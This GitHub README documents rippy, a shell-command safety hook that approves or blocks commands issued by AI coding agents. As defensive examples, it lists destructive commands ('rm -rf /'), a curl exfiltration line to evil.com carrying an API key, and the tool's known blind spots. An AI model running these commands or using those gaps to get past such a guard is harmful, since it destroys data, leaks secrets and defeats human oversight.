Skip to content
mpecanPublic

About

No description, website, or topics provided.

Resources

Stars

6 stars

Watchers

0 watching

Forks

Repository files navigation

rippy

Crates.io CI License: MIT

A fast shell command safety hook for AI coding tools — written in Rust.

Docs & homepage: https://rippy.pecan.si

rippy intercepts shell commands from Claude Code, Cursor, Gemini CLI, and Codex CLI, parses them with rable (a pure-Rust bash parser), and automatically approves safe commands while blocking dangerous ones.

Fully inspired by Dippy by @ldayton — rippy is a Rust rewrite with drop-in config compatibility, faster startup, and no runtime dependencies.

Why rippy?

Dippy rippy
Language Python Rust
Runtime Python 3.9+, pip Single static binary
Startup ~200ms <1ms
Parser bash-parser (Parable) rable (pure Rust)
Config .dippy (flat) .rippy.toml (structured; reads legacy .rippy / .dippy too)
Handlers ~50 commands 100+ commands
File analysis — Reads .py, .sql, .sh, .awk, .graphql for informed decisions
CC permissions — Reads Claude Code settings.json allow/deny/ask rules

Install

Homebrew (macOS/Linux)

brew install mpecan/tools/rippy

Cargo

cargo install rippy-cli

cargo-binstall (prebuilt binaries)

cargo binstall rippy-cli

GitHub Releases

Download prebuilt binaries from Releases for:

  • macOS (Apple Silicon, Intel)
  • Linux (x86_64, aarch64)

Optional: rippy-jev (model-assisted review)

A separate, opt-in distribution that can ask the Jev decision model about commands rippy asks about only because it is unsure, never about commands it knows need your approval. It installs the same rippy binary, so install one distribution or the other. The default distribution contains no network code at all.

brew install mpecan/tools/rippy-jev          # conflicts with the rippy formula
cargo install rippy-cli --features jev
cargo binstall rippy-cli --pkg-url '{ repo }/releases/download/rippy-cli-v{ version }/rippy-jev-v{ version }-{ target }.tar.gz'

rippy --version ends in +jev on this build. It does nothing until enabled; see Jev review of uncertain asks. It can also use a local model instead of a hosted one, so commands never leave your machine; see Run it locally.

Quick Start

Claude Code

Add to ~/.claude/settings.json (or .claude/settings.json in your project):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [{ "type": "command", "command": "rippy --mode claude" }]
      }
    ]
  }
}

Cursor

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [{ "type": "command", "command": "rippy --mode cursor" }]
      }
    ]
  }
}

Gemini CLI

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [{ "type": "command", "command": "rippy --mode gemini" }]
      }
    ]
  }
}

That's it. rippy reads JSON from stdin and returns a verdict on stdout. Your AI tool handles the rest.

Packages

Packages are preconfigured safety profiles. Pick one that matches how you work:

  review      [===]     Full supervision. Every command asks.
  develop     [==.]     Auto-approves builds, tests, VCS. Asks for destructive ops.
  autopilot   [=..]     Maximum AI autonomy. Only catastrophic ops are blocked.

Set up with interactive package selection:

rippy init

Or specify directly:

rippy init --package develop

Manage packages anytime with rippy profile:

rippy profile list              # see all packages (built-in + custom)
rippy profile show develop      # see what a package does
rippy profile set autopilot     # switch packages

Packages are a starting point — layer your own rules on top. See the Packages wiki for full details on what each package auto-approves, asks, and blocks.

Custom packages

Create your own packages in ~/.rippy/packages/<name>.toml using the same TOML format. Use extends = "develop" (or another built-in) in the [meta] section to inherit rules from a built-in base and layer your own on top:

# ~/.rippy/packages/backend-dev.toml
[meta]
name = "backend-dev"
tagline = "Go + Postgres + K8s workflow"
extends = "develop"

[[rules]]
action = "allow"
command = "kubectl"
subcommands = ["get", "describe", "logs"]

[[rules]]
action = "deny"
pattern = "kubectl delete"
message = "destructive — run manually"

Then activate it like any built-in:

rippy profile set backend-dev
# or: set  package = "backend-dev"  in [settings]

Custom packages appear in rippy profile list under a "Custom packages:" section and work with rippy profile show <name>. Built-in names (review, develop, autopilot) always take priority — if a custom file shadows one, rippy uses the built-in and prints a warning.

How It Works

stdin (JSON) → parse command → AST analysis → evaluate rules → verdict (JSON) → stdout
  1. Reads a JSON hook payload from stdin
  2. Detects the AI tool mode (or uses --mode)
  3. Checks Claude Code permission rules (settings.json allow/deny/ask)
  4. Checks user config rules (.rippy files)
  5. Parses the command into an AST with rable
  6. Evaluates against built-in safety rules and 100+ CLI-specific handlers
  7. For file-referencing commands (python script.py, psql -f query.sql, bash script.sh), reads and analyzes file contents
  8. Returns a JSON verdict on stdout

Exit codes: 0 = allow, 2 = ask/deny, 1 = error

What Gets Auto-Approved?

rippy has 130+ commands in its safe allowlist (read-only tools like cat, ls, grep, jq, rg, etc.) plus 40+ CLI-specific handlers that understand subcommand safety:

Command Safe Needs approval
git status, log, diff, branch push, reset, rebase
docker ps, images, logs run, exec, rm
cargo test, build, check, clippy run, publish, install
python -c 'print(1)', safe scripts -c 'import os', unknown scripts
kubectl get, describe, logs apply, delete, exec
psql -c 'SELECT ...', read-only .sql files write SQL, interactive
gh pr view, issue list pr create, pr merge
ansible --check, --syntax-check, ansible-doc playbook runs, vault encrypt

Default for unknown commands: Ask (fail-safe).

The complete, generated list — every allowlist, handler surface and rule that can auto-approve — is in docs/allow-catalog.md. The handler sections are the surface each handler declares; CI fails when the file drifts from those declarations, when a listed surface is not actually approved, and when a handler approves a probed sibling verb it never declared. So a widening shows up there as a diff.

Configuration

The easiest way to get started is with a package (see Packages above). For full control, rippy loads config from these tiers (lowest to highest priority):

  1. Built-in stdlib: safe allowlist + 100+ CLI handlers
  2. Package: package = "develop" in settings (optional, loaded from built-in TOML)
  3. Global config: ~/.rippy/config.toml (flat ~/.rippy/config / ~/.dippy/config also read for backward compatibility)
  4. Project config: .rippy.toml walked up from cwd (flat .rippy / .dippy also read)
  5. Environment: RIPPY_CONFIG or DIPPY_CONFIG env var

Additionally, Claude Code settings (~/.claude/settings.json → permissions.allow/deny/ask) are checked as a separate pre-analysis step before config rules are evaluated.

Config format: .rippy.toml is preferred

Write new configs as .rippy.toml. TOML is where new features land — structured matching (command / subcommand / flags / args-contain) is TOML-only, and rippy init, rippy allow, rippy deny, and rippy ask all write to .rippy.toml.

[settings]
default = "ask"
package = "develop"    # start with a safety package

# Block dangerous commands with guidance
[[rules]]
action = "deny"
pattern = "rm -rf /"
message = "Never delete the root filesystem"

# Structured matching — pins the rule to `git push --force`
# without relying on prefix tricks
[[rules]]
action = "deny"
command = "git"
subcommand = "push"
flags = ["--force"]
message = "Use --force-with-lease instead"

# Allow specific safe patterns
[[rules]]
action = "allow"
pattern = "git status"

# Redirect rules (block writes to sensitive paths)
[[rules]]
action = "deny-redirect"
pattern = "**/.env*"
message = "Do not write to environment files"

Starter configs live in examples/: recommended.rippy.toml, review.rippy.toml, autopilot.rippy.toml.

The legacy flat .rippy / .dippy format (one rule per line, inherited from Dippy) is still loaded, so existing configs keep working. It can't express structured matching; run rippy migrate to convert a flat file to .rippy.toml. See examples/recommended.rippy for a flat example and the docs for the full grammar.

Rule types

TOML action Description
allow / ask / deny Command rules (match via pattern or structured fields)
allow-redirect / ask-redirect / deny-redirect Redirect rules — gate writes to sensitive paths
after Post-execution feedback message
allow-mcp / ask-mcp / deny-mcp MCP tool rules

Plus [settings] (default, log, log-full, tracking, package, auto-mode) and [[aliases]] (source / target). Any rule can also carry a when = { … } clause to gate it on runtime context (git branch, cwd, env var, file existence, or an external command) — see the Conditional rules section for the full grammar.

Secrets stay out of the history. rippy expands $VAR to judge a command, and shows what it judged as (resolved: …). Everything it shows or keeps (that reason and any reason quoting the resolved command, -v and rippy inspect, the log file and the tracking database) has secret-looking values replaced by <redacted>: the value of any variable whose name marks a secret (GITHUB_TOKEN, PGPASSWORD, MYSQL_PWD, …), whatever it looks like, plus credential flags, secret-named assignments and JSON keys, auth headers, URL credentials and provider key formats. Commands are still judged on their real values. Redaction covers common shapes, not every secret; see docs/security-invariants.md.

Safe scopes (cross-repo research)

By default rippy only auto-approves path operations (cd, mkdir, git -C … log) that stay inside the project directory (plus /tmp and /var/tmp). Anything outside prompts. Safe scopes let you opt specific sibling directories into that trusted set so cross-repo research stops prompting:

[scopes]
safe = ["~/src", "/opt/repos"]

Entries support a leading ~ and $VAR / ${VAR} expansion, and ./.. are normalized away. Paths that resolve to the filesystem root (/) or an empty path are rejected — declaring / would auto-approve nearly the whole filesystem.

The legacy [cd] table is still accepted as an alias and feeds the same list:

[cd]
allowed-dirs = ["/opt/repos"]   # equivalent to [scopes] safe

Semantics inside a declared scope mirror the project directory:

  • Reads are allowed — cd ~/src/other, git -C ~/src/other log, mkdir ~/src/other/tmp auto-approve.
  • Writes still ask — git -C ~/src/other push (and other mutating subcommands) still prompt.

Output redirects (>, >>)

Write/append redirects whose target resolves inside the shared trusted set — /tmp and /var/tmp (plus their macOS /private equivalents, which cover the session scratchpad) and any declared safe scope — are auto-approved, so git diff > /tmp/out or cmd >> /private/tmp/…/scratchpad/log no longer prompt. Everything else still asks:

  • Project files still ask — unlike cd/mkdir, a redirect into the project directory (echo x > src/foo.rs) keeps prompting; auto-approval here is scoped to the safe dirs and declared scopes only, never the cwd.
  • Other paths ask — > /etc/hosts, > ~/.bashrc, and any target outside the trusted set prompt.
  • Dynamic targets always ask — a target containing a shell expansion (> $VAR, > $(…)), a leading ~, or a glob (> /tmp/*) is never statically trusted; traversal like > /tmp/../etc/x is normalized before the check, so it asks too.
  • Self-protected paths still deny — a redirect that would overwrite a rippy config (> .rippy) is still blocked, and explicit allow-redirect / deny-redirect rules still win.

Manage scopes from the CLI instead of hand-editing:

rippy scope add ~/src          # add to project .rippy.toml (use --global for ~/.rippy/config.toml)
rippy scope list               # show declared scopes
rippy scope remove ~/src       # remove one

Opt-in and transparency guarantees:

  • Scopes declared in a project .rippy.toml only take effect after rippy trust — an untrusted project config is ignored, and rippy trust flags scope declarations as protection-weakening before you approve them.
  • Non-goal (deliberate): read-only git against an undeclared path still prompts. git -C <any-repo> log runs that repo's .git/config (pager/alias) code, so it is never auto-approved without an explicit scope covering it.

Auto-mode coexistence (Claude Code)

Claude Code can run in an auto permission mode (acceptEdits, auto, dontAsk, bypassPermissions) where the user has opted into fewer prompts. rippy adapts its uncertain (ask) verdicts to that choice, while keeping deny a hard floor:

rippy verdict manual (default / plan) auto modes
deny blocks blocks — holds in every mode
allow fast-path approve fast-path approve
ask forces rippy's prompt defers — steps aside so the mode decides

Control this with the auto-mode setting:

[settings]
auto-mode = "defer"   # default: yield uncertain verdicts to auto modes
# auto-mode = "ask"   # opt out: always force rippy's prompt, even in auto modes

Safety note: because ask yields to auto modes, anything you truly want stopped in an auto mode must be a deny rule, not ask. Classify genuinely dangerous patterns as deny.

Jev review of uncertain asks (rippy-jev only)

rippy asks for two reasons: because a human must approve the command (git push --force, rm, your own ask rules), or because rippy cannot tell whether it is safe (an unknown command, an unresolvable $VAR). The rippy-jev build can send the second kind only to Jev, which may approve it or leave it as an ask. It never blocks anything, and it never touches an allow, a deny, or an approval ask.

# ~/.rippy/config.toml — ignored (with a warning) in a project .rippy.toml
[jev]
enabled = true
endpoint = "https://openrouter.ai/api/v1/systemone"  # or https://api.typesafe.ai/v1/systemone
model = "jev-1.13"                                   # "jev-latest" on TypeSafe's own API
api-key-env = "OPENROUTER_API_KEY"                   # the key is read only from this variable
allow-effects = ["read_only"]                        # opt in: "remote_read", "local_change"
min-confidence = 0.9                                 # plus per-risk gates, see docs/jev.md
timeout-ms = 2000

Run it locally

To keep commands on your machine, point [jev] at a local rippy-kev model (open, Apache-2.0) instead:

model weights median per command (M4 Max) min-confidence
rippy-kev-4b Risethagain/rippy-kev-4b ~0.75 s 0.75
rippy-kev-0.8b Risethagain/rippy-kev-0.8b ~0.25 s 0.85
# in a checkout of https://github.com/jaredpalmer/kev, after `uv sync --extra serve`
uv run --extra serve python -m kev.serve --run Risethagain/rippy-kev-4b --port 8012
export RIPPY_KEV_KEY=local   # any non-empty value, where your AI tool is launched
[jev]
enabled = true
endpoint = "http://127.0.0.1:8012/v1/systemone"
model = "kev-latest"
api-key-env = "RIPPY_KEV_KEY"
timeout-ms = 5000               # local models need more than the 2000 default
min-confidence = 0.75        # rippy-kev-0.8b: 0.85

The models need rippy 0.2.4 or later. Setup with llama.cpp, checks and troubleshooting are in the model-assisted review guide; training and evaluation are in docs/jev.md.

What to know before enabling it

Unless a point says otherwise, these apply to any endpoint, hosted or local.

  • With a hosted endpoint, commands leave your machine. Eligible commands are sent with comments removed and secrets replaced by <redacted>: assignment and NAME=value values, credential flags, Bearer/Authorization values, token shapes and JWTs, and URL credentials and query secrets. Variable values are never sent. Redaction covers common shapes; it is not a guarantee. Only plain commands are sent: never ones with a group, loop, substitution, heredoc, stdin redirect, NAME=value prefix, multiple lines or non-ASCII text. A local endpoint gets the same redacted command, and nothing leaves the machine.
  • It trades some safety for fewer prompts. The model judges a command by its text, so rippy never sends one whose behaviour is defined elsewhere: ./scripts/* and other path- or script-named programs, task runners (make, npm, poetry, …), unknown git subcommands, interpreters given any argument, anything rippy judged through a wrapper, alias or a script's contents (timeout 5 …, xargs …, bash script.sh), --flag=path arguments, remote contexts (docker exec), programs that resolve inside the project, and rippy's own CLI. The model is also asked whether a command runs project code (tests, builds, linters, hooks) and such commands keep their ask. A misleading program name on PATH can still mislead it.
  • Suspicious answers escalate. If the model sees possible exfiltration, or the command text trying to steer its own classification, the ask stays, gets a warning, and always prompts, even under auto-mode = "defer".
  • Failures change nothing. A timeout, HTTP error, missing key or odd answer leaves the ask as it was, with (jev unavailable: …) in the reason.
  • Every decision is visible. Approvals read jev: approved (read_only, conf 0.97 >= 0.90, …), and the JSON log records the state sent and the model's raw answers. Use rippy jev '<command>' to check commands against your thresholds before relying on them.

The design, threat model and measurements are in docs/jev.md.

Pattern matching

  • Default: prefix matching — git matches git status, git push, etc.
  • * matches any characters, ? matches one, [abc] character class, ** globstar
  • Trailing | forces exact matching — git| only matches bare git

CLI Commands

Command Description
rippy --mode claude Run as a hook (reads JSON from stdin, returns verdict)
rippy init Initialize config with interactive package selection
rippy profile list List available safety packages
rippy profile show <name> Show details of a safety package
rippy profile set <name> Activate a safety package
rippy inspect [command] Show configured rules or trace a command decision
rippy debug <command> Trace the full decision path for a command
rippy jev <command> Show what Jev is sent and answers for a command (rippy-jev build only)
rippy list safe List all auto-approved safe commands
rippy list handlers List commands with dedicated handlers
rippy list rules Show effective rules from all config sources
rippy allow <pattern> Add an allow rule to config
rippy deny <pattern> Add a deny rule to config
rippy ask <pattern> Add an ask rule to config
rippy scope add <dir> Declare a safe scope (add --global for ~/.rippy/config.toml)
rippy scope list List declared safe scopes
rippy scope remove <dir> Remove a declared safe scope
rippy suggest Analyze tracking data and suggest config rules
rippy stats Show aggregate decision tracking statistics
rippy trust Manage trust for project-level config files
rippy setup claude-code Install rippy as a hook for Claude Code
rippy setup gemini Install rippy as a hook for Gemini CLI
rippy setup cursor Install rippy as a hook for Cursor
rippy setup tokf Configure tokf to use rippy as its permission engine
rippy discover <cmd> Discover flag aliases from command help output
rippy migrate Convert .rippy config to .rippy.toml format

Migrating from Dippy

rippy reads .dippy config files and the DIPPY_CONFIG environment variable automatically. To migrate:

  1. Install rippy
  2. Replace dippy with rippy --mode claude in your hook config
  3. Your existing .dippy config files work as-is

Optionally rename .dippy → .rippy and ~/.dippy/config → ~/.rippy/config.

Integration with tokf

rippy works as a permission engine for tokf (a CLI output compressor for LLM context). When paired together, tokf handles output compression while rippy handles permission decisions.

See tokf's external permission engine docs for setup.

Security Model

rippy is a permission system — it adds friction before dangerous commands execute. It is not a sandbox, container, or security boundary.

What rippy protects against

  • Auto-execution of dangerous commands — rm -rf /, dd, chmod 777, etc. are blocked or require approval
  • Unsafe subcommand usage — git push --force, docker run, kubectl delete require approval even though git status and docker ps are auto-approved
  • File overwrites — redirect rules block writes to .env, /etc/*, and other sensitive paths
  • Blind script execution — Python, SQL, shell, and AWK files are read and analyzed for dangerous patterns before execution
  • Unknown commands — anything not in the safe allowlist or handled by a specific handler defaults to "ask"

What rippy does NOT protect against

Limitation Impact Mitigation
Variables not evaluated rm $VAR is analyzed without knowing $VAR's value rippy conservatively asks when variable expansions are detected
Shell aliases invisible Aliases defined in .bashrc/.zshrc bypass analysis Only rippy config-defined aliases are resolved
Quote handling is structural ANSI-C quoting ($'\x72\x6d') is not normalized The parser handles standard quoting; exotic forms may pass through
File analysis is heuristic import os as system in Python is not caught Dangerous patterns trigger "ask" (human review), not silent "allow"
Credential exfiltration curl https://evil.com/$API_KEY uses a legitimate command rippy is command-aware, not data-aware; use network egress controls
Function definitions f() { rm -rf /; }; f — function bodies are not analyzed Function definitions trigger "ask" conservatively

Project config trust

Project-level .rippy config files (in cloned repos) could weaken protections if loaded unconditionally. rippy uses a trust model to prevent this:

  • Untrusted by default — project configs in new repos are ignored until you run rippy trust
  • Repo-level trust — once you trust a repo, config changes via git pull are auto-trusted
  • Hash verification — if the config is modified outside of git (or in an untrusted repo), trust is revoked
  • Packages follow trust — an untrusted project config cannot choose the active package, and a package name is always a file in ~/.rippy/packages/, never a path
  • Self-protection — AI tools cannot modify rippy's config files, custom packages or trust database
  • Global override — trust-project-configs = true in ~/.rippy/config.toml opts into auto-trust for all project configs

See the rippy trust command for details.

In summary

rippy prevents accidental damage from AI-generated commands by requiring explicit approval for anything dangerous. It is most effective as part of a defense-in-depth strategy alongside branch protection, secret detection, and network egress controls.

Contributing

Contributions welcome! rippy follows these conventions:

  • Commits: Conventional Commits (feat:, fix:, test:, etc.)
  • Quality: cargo fmt && cargo clippy --all-targets -- -D warnings && cargo test must pass
  • Testing: Every feature needs unit tests and integration tests
  • Limits: 100-char lines, 60-line functions, cognitive complexity ≤ 15

Acknowledgments

rippy is a Rust rewrite of Dippy by @ldayton. The original Python implementation pioneered the concept of AI tool command safety hooks. rippy maintains full config compatibility with Dippy.

The bash parser is rable, a pure-Rust parser with 100% Parable test compatibility.

License

MIT

About

No description, website, or topics provided.

Resources

Stars

6 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages